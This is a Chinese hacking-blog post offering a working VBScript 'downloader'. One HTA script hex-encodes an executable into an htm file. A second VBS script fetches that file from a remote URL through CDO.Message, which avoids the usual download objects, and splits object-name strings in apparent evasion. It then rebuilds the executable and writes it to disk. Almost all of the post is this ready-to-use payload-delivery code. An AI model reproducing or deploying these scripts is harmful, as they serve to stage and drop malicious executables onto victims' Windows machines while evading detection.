利用CDO.Message做的vbs下载者

作者:lcx

vbs下载者有很多了,我这里是一个伟大的发明,利用CDO.Message做的vbs下载者。伟大是装B的意思。

NP先把代码写完了,详情看这里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

由于NP写的不知什么原因,在我机器上执行后生成的exe,进程不会自动退出,我重新更新一下。

=======用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。=======

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>package file v0.1</title>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312">
<HTA:APPLICATION
ID="package file v0.1"
APPLICATIONNAME="package file v0.1"
VERSION="0.1"
SCROLL="no"
INNERBORDER="no"
CONTEXTMENU="yes"
CAPTION="yes"
ICON="no"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
MAXIMIZEBUTTON ="no"
WINDOWSTATE="normal"
NAVIGABLE="yes"
/>
<SCRIPT LANGUAGE="VBScript">
function transfert()
dim filename
filename = document.getElementById("srcFile").value
if len(filename)>0 then
dim oReq
'on error resume next
'//创建XMLHTTP对象
set oReq      = CreateObject("MSXML2.XMLHTTP")
oReq.open "get","file:\\" & filename,false
oReq.send
ff = oReq.responseBody
dim u,s,kk
u = lenb(ff)
redim kk(u-1)
for i=0 to u-1
s = hex(ascb(midb(ff,i+1,1)))
if len(s)<2 then
s = "0" & s
end if
'kk = kk & s
kk(i) = s
next
make filename,join(kk,"")
else
document.getElementById("srcFile").focus
msgbox "请选择要压缩的文件",16,"提示"
end if
end function
function make(filename,data)
dim htm,file
file = mid(filename,instrrev(filename,"\")+1)

htm = htm & data

dim fso,f
dim this_file
this_file = file & "-pf.htm"
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(this_file, 2, True)
f.Write htm
msgbox "生成文件" & this_file & "成功!",64,"生成"

end function

</SCRIPT>
</head>
<body marginleft=0 marginright=0 onload="window.resizeTo 389,145 ">
请选择文件:<input type=file id="srcFile" style="width:260px;"><br><br>
<input type=button value="     转换     " onclick="transfert">     <input type=button value="     关闭     " onclick="window.close">
</body>
</html>

=====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上,用NP写的那个下载生成的htm也可以,代码更少=========

'//保存文件
function saveFile(filename,str)

set adodbStream = CreateObject("ADODB" & "." & "Stream")

adodbStream.Type= 1
adodbStream.Open
adodbStream.write str
adodbStream.SaveToFile filename,2
adodbStream.Close

end function

'//VB数组转变成二进制格式
Function MultiByteToBinary(MultiByte)

Dim RS, LMultiByte, Binary
Const adLongVarBinary = 205
Set RS = CreateObject("ADODB.Recordset")
LMultiByte = LenB(MultiByte)
If LMultiByte>0 Then
RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte
RS.Open
RS.AddNew
RS("mBinary").AppendChunk MultiByte & ChrB(0)
RS.Update
Binary = RS("mBinary").GetChunk(LMultiByte)
End If
MultiByteToBinary = Binary

End Function

function exec()

'//屏蔽错误
on error resume Next
Set args = WScript.Arguments
if args.Count = 0 then
WScript.Echo "Usage: CScript down.vbs url c:\1.exe"
WScript.Quit 1
end If
dim data,t,kk,filename,ss
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody args.Item(0) ,31
'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31
ss= Mail1.HTMLBody
Set Mail1=nothing

'//得到数据
data              = ss
'//得到文件名
filename      = args.Item(1)

'//得到数据长度
u = len(data)

'//获得文件数组
for i=1 to u step 2
t = mid(data,i,2)
kk = kk & ChrB(clng("&H" & t))
next

'//转变成二进制格式
dataArry = MultiByteToBinary(kk)

'//保存文件
saveFile filename,dataArry
end function

exec()

相关日志

发表评论